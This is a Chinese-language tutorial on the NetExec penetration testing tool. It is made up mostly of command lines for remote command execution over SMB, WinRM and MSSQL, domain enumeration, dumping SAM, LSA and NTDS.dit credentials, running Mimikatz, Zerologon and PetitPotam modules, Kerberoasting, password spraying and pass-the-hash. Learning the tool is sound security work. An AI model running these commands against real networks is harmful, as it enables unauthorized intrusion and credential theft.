NetExec (nxc) 简介
NetExec(nxc)是一个强大的网络服务利用工具,旨在自动化评估大型网络的安全性。它是 CrackMapExec 的继任者,支持多种协议(SMB、LDAP、WinRM、MSSQL、RDP、FTP 等),并通过模块化设计提供枚举、凭据测试、漏洞扫描和后渗透功能。
安装
在 Kali Linux 或其他支持的系统上安装 NetExec:
sudo apt install netexec
或通过 Python 安装:
sudo apt install pipx git
pipx install git+https://github.com/Pennyw0rth/NetExec
SMB 协议常用命令
1. 执行命令 (-x, -X)
通过 -x
执行 cmd.exe 命令,-X
执行 PowerShell 命令,需管理员权限。
# 执行 ipconfig(cmd.exe)
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' -x 'ipconfig'
# 执行 PowerShell 命令
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' -X '$PSVersionTable'
执行方法 (–exec-method)
NetExec 支持以下命令执行方法,默认优先级为 wmiexec
:
wmiexec
:通过 WMI 执行,较为隐蔽。smbexec
:创建并运行服务,适合无 WMI 环境。atexec
:通过计划任务执行。mmcexec
:使用 MMC 执行,较新方法。
# 使用 smbexec 方法执行 whoami
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' -x 'whoami' --exec-method smbexec
2. 枚举功能
NetExec 提供丰富的枚举功能,用于收集目标信息。
枚举共享 (–shares)
列出 SMB 共享及其权限。
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --shares
输出示例:显示共享名称、权限(读/写)和备注。
枚举有效会话 (–sessions)
列出目标上的活跃会话。
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions
枚举磁盘 (–disks)
列出目标系统的磁盘信息。
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks
枚举登录用户 (–loggedon-users)
显示当前登录的用户。
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users
枚举域用户 (–users)
列出域用户。
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users
枚举域组 (–groups)
列出域组。
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups
枚举本地组 (–local-groups)
列出目标主机的本地组。
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups
爆破 RID 枚举用户 (–rid-brute)
通过 RID(资源标识符)爆破枚举用户。
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute
提示:可指定 RID 范围以提高效率,如
--rid-brute 1000-2000
。
获取域密码策略 (–pass-pol)
获取域密码策略(如长度、复杂性、锁定阈值)。
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol
3. 凭据转储
NetExec 可用于提取本地或域凭据,需管理员权限。
转储 SAM 文件 (–sam)
提取本地 SAM 文件中的哈希。
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam
转储 LSASS 内存哈希 (–lsa)
从 LSASS 内存中提取凭据哈希。
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa
转储 NTDS.dit (–ntds)
从域控制器提取 NTDS.dit 文件中的凭据。
# 使用 drsuapi 方法(默认)
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --ntds
# 使用 VSS(Volume Shadow Copy Service)
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --ntds vss
4. 常用模块 (-M)
NetExec 的模块通过 -M
调用,提供高级功能。以下是常用模块:
mimikatz
运行 Mimikatz 提取凭据。
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' -M mimikatz
选项:可指定命令,如
-o COMMAND='privilege::debug'
.
bloodhound
收集 BloodHound 数据,用于 Active Directory 攻击路径分析。
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' -M bloodhound
enum_avproducts
枚举目标主机上的防病毒软件。
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' -M enum_avproducts
spider_plus
扫描共享中的文件,提取元数据。
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' -M spider_plus
zerologon
检测并利用 Zerologon 漏洞(CVE-2020-1472)。
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' -M zerologon
petitpotam
检测 PetitPotam 强制认证漏洞。
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' -M petitpotam
查看模块列表:
nxc smb -L
查看模块选项:
nxc smb -M <module_name> --options
其他协议支持
NetExec 支持多种协议,扩展了其应用场景。
1. LDAP 协议
用于 Active Directory 枚举和攻击。
# 枚举域用户
nxc ldap <IP> -d <DOMAIN> -u Administrator -p 'password' --users
# 执行 Kerberoasting 攻击
nxc ldap <IP> -d <DOMAIN> -u Administrator -p 'password' --kerberoasting hash.txt
# 收集 BloodHound 数据
nxc ldap <IP> -d <DOMAIN> -u Administrator -p 'password' --bloodhound --collection All
2. WinRM 协议
用于远程管理协议的枚举和命令执行。
# 检查 WinRM 是否启用
nxc winrm <IP> -u Administrator -p 'password'
# 执行 PowerShell 命令
nxc winrm <IP> -u Administrator -p 'password' -X 'Get-Process'
3. MSSQL 协议
用于 SQL Server 的枚举和利用。
# 枚举 SQL Server 实例
nxc mssql <IP> -u sa -p 'password'
# 执行 SQL 查询
nxc mssql <IP> -u sa -p 'password' -x 'SELECT @@VERSION'
4. RDP 协议
用于远程桌面服务的测试。
# 检查 RDP 访问
nxc rdp <IP> -u Administrator -p 'password'
# 枚举 RDP 会话
nxc rdp <IP> -u Administrator -p 'password' -M get_netrdpsession
5. FTP 协议
用于 FTP 服务的枚举。
# 列出 FTP 目录
nxc ftp <IP> -u anonymous -p '' --ls
NetExec 高级功能
1. 凭据管理 (nxcdb)
NetExec 内置数据库(nxcdb)用于存储凭据和主机信息。
# 启动数据库
nxcdb
# 创建工作区
nxcdb> workspace create test
# 列出存储的主机
nxcdb> hosts
# 列出凭据
nxcdb> creds
2. 空会话测试
测试目标是否允许空会话访问。
nxc smb <IP> -u '' -p ''
3. 密码喷洒
对多个用户尝试单一密码,规避锁定。
nxc smb <IP> -u user_list.txt -p 'Welcome2023' --continue-on-success
4. 传递哈希 (Pass-the-Hash)
使用 NTLM 哈希进行认证。
nxc smb <IP> -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'
NetExec 替代工具
虽然 NetExec 功能强大,但在某些场景下可结合其他工具使用:
- Impacket:提供类似 SMB 和 MSSQL 功能的 Python 脚本(如
smbclient.py
、secretsdump.py
)。python3 secretsdump.py <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
- enum4linux-ng:轻量级 SMB 枚举工具,适合快速扫描。
enum4linux-ng -A <IP>
- BloodHound:用于 Active Directory 攻击路径分析,可与 NetExec 的 BloodHound 模块结合。
- Responder:捕获网络广播流量以获取凭据,配合 NetExec 使用。
responder -I eth0
- Manspider:扫描 SMB 共享中的敏感文件,类似 NetExec 的
spider_plus
模块。
总结
NetExec 凭借其多协议支持、模块化设计和高效执行能力,成为域渗透中的利器。通过熟练掌握其命令、模块和高级功能,你可以在信息收集、凭据提取和漏洞利用中游刃有余。